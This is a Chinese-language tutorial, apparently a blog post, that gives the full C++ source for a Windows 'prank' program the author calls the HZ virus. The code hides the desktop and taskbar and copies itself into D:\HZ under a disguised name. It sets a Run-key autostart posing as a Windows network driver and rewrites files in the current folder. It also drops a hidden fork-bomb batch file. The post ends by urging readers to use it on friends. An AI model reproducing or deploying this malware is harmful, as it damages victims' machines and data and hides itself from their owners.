目录
了解恶搞程序
恶意程序通常是指带有攻击意图所编写的一段程序。这些威胁可以分成两个类别:需要宿主程序的威胁和彼此独立的威胁。前者基本上是不能独立于某个实际的应用程序、实用程序或系统程序的程序片段;后者是可以被操作系统调度和运行的自包含程序。
也可以将这些软件威胁分成不进行复制工作和进行复制工作的。简单说,前者是一些当宿主程序调用时被激活起来完成一个特定功能的程序片段;后者或者由程序片段(病毒)或者由独立程序(蠕虫、细菌)组成,在执行时可以在同一个系统或某个其它系统中产生自身的一个或多个以后被激活的副本。
制作恶搞程序
作者我是用c++编程
环境 :Dev-c++ 5.83
#include<bits/stdc++.h>
#include<windows.h>
#include<ctime>
#include <stdio.h>
using namespace std;
const char mod = '%';
void ycgb()//隐藏光标
{
CONSOLE_CURSOR_INFO cursor_info = {1, 0}; //0表示隐藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
}
void yczm(){//隐藏桌面+任务栏
HWND desktop,task;
desktop=FindWindow("ProgMan",NULL);
task=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(task,SW_HIDE);//隐藏任务栏
ShowWindow(desktop,SW_HIDE);//隐藏桌面
}
void xszm(){//显示桌面+任务栏
HWND desktop,task;
desktop=FindWindow("ProgMan",NULL);
task=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(task,SW_SHOW);//显示
ShowWindow(desktop,SW_SHOW);//显示
}
void HideWindow() {//隐藏控制台
HWND hwnd = GetForegroundWindow();
if (hwnd) {
ShowWindow(hwnd, SW_HIDE);
}
}
void ShowWindow() {//显示控制台
HWND hwnd = GetForegroundWindow();
if (hwnd) {
ShowWindow(hwnd, SW_SHOW);
}
}
void DeleteApplicationSelf()//自我毁灭
{
char szCommandLine[MAX_PATH + 10];
//设置本进程为实时执行,快速退出。
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
//通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。
//SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);
//调用cmd传入参数以删除自己
sprintf(szCommandLine, "/c del /q %s", _pgmptr);
ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);
ExitProcess(0);
}
void revir()//删除当前目录
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.**", &FindFileData);//可以更改.c .c程序后衔名
string FileCode[500];
//病毒函数调用应当插在"main"后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件
while (true)
{
//加载文件
int FileLen = 0; //宿主代码长度
int MainLoc = 0; //主函数位置
ifstream ibe(FindFileData.cFileName);
getline(ibe,FileCode[0]);
//病毒代码要过虑掉
for(FileLen = 0;getline(ibe,FileCode[0]);)
{
if(FileCode[FileLen] == "//HZ病毒")
{
break;
}
}
//宿主未感染前的代码
for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
{
if(FileCode[FileLen].find("main") != -1)
{
MainLoc = FileLen;
}
}
//清除主文件中的函数调用
for (int i = MainLoc;i < FileLen;i++)
{
if(FileCode[i].find('{') != -1)
{
FileCode[i + 1] = "";
break;
}
}
ibe.close();
ofstream be(FindFileData.cFileName);
for(int i = 0;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":清除成功"<<endl;
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int kjqd(){//设置自启动
HKEY hRoot = HKEY_CURRENT_USER;
char *szSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hKey;
// 打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY; // 如果不存在不创建
LONG lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
if (lRet != ERROR_SUCCESS)
return -1;
// 得到当前执行文件的文件名(包含路径)
char szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
printf("要设置的键值数据为:%s\n", szModule);
// 创建一个新的键值,设置键值数据为文件名 SelfRunDemo为名称,相同会覆盖
lRet = RegSetValueEx(hKey, "SelfRun", 0, REG_SZ, (BYTE*)szModule, strlen(szModule));
if (lRet == ERROR_SUCCESS)
{
printf("自动启动设置成功!\n");
}
//查询键值
DWORD len;
memset(szModule,'\0', sizeof(szModule));
lRet = RegQueryValueEx(hKey, "SelfRun", 0, NULL, (BYTE*)szModule, &len);
printf("要查询的键值数据为:%s\n", szModule);
// 关闭子键句柄
RegCloseKey(hKey);
getchar();
}
void ycxt(){//隐藏病毒
char filename[MAX_PATH];
GetModuleFileName(NULL,filename,MAX_PATH);//获取当前文件夹绝对路径名
CreateDirectory("D:\\HZ",NULL);//在D盘创建一个文件夹
CopyFile(filename,"D:\\HZ\\System.exe",TRUE);//将文件放入D盘文件夹并覆盖
//现在看看你的D盘吧
//再次提醒, 不 要 随 便 删 掉 注 册 项
HKEY hkey;//打开指定子键
RegOpenKey
(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
RegSetValueEx
(hkey,"Windows system 网络驱动组件",0,REG_SZ,(const BYTE*)"D:\\HZ\\System.exe",strlen(filename));
}
int lp()//终于开始做蓝屏的我 伪蓝屏
{
FILE *file = fopen("kabao.bat", "w");
fprintf(file, "%c0|%c0", mod, mod);
fclose(file);
SetFileAttributes("kabao.bat", FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
ShellExecute(0, "open", "kabao.bat", "", "", SW_HIDE);
}
int main(){
SetConsoleTitle("初始化");//更改标题
ycgb();
ycxt();
SetConsoleTitle("HZ病毒");
if(MessageBox(NULL,"请问是否激活病毒?(是/否)","HZ病毒",MB_YESNO+32|MB_ICONWARNING|MB_TOPMOST)==6)
{
SetConsoleTitle("HZ病毒激活中");
if(MessageBox(NULL,"非法破坏别人电脑是不好的! 本程序仅仅用于编程爱好者!","HZ病毒",MB_YESNO+32|MB_ICONWARNING|MB_TOPMOST )==6)
{
SetConsoleTitle("HZ病毒激活成功");
Sleep(1000);
SetConsoleTitle("HZ病毒运行中");
Sleep(1000);
SetConsoleTitle("HZ病毒");
HideWindow();
yczm();
revir();
kjqd();
ShowWindow();
SetConsoleTitle("HZ病毒运行成功");
}
else {
SetConsoleTitle("HZ病毒自动毁灭中");
DeleteApplicationSelf();
}
}
else{
SetConsoleTitle("HZ病毒自动毁灭中");
DeleteApplicationSelf();
}
return 0;
}
好了,去坑你的朋友吧.Goodbye
小心一点,小心被朋友......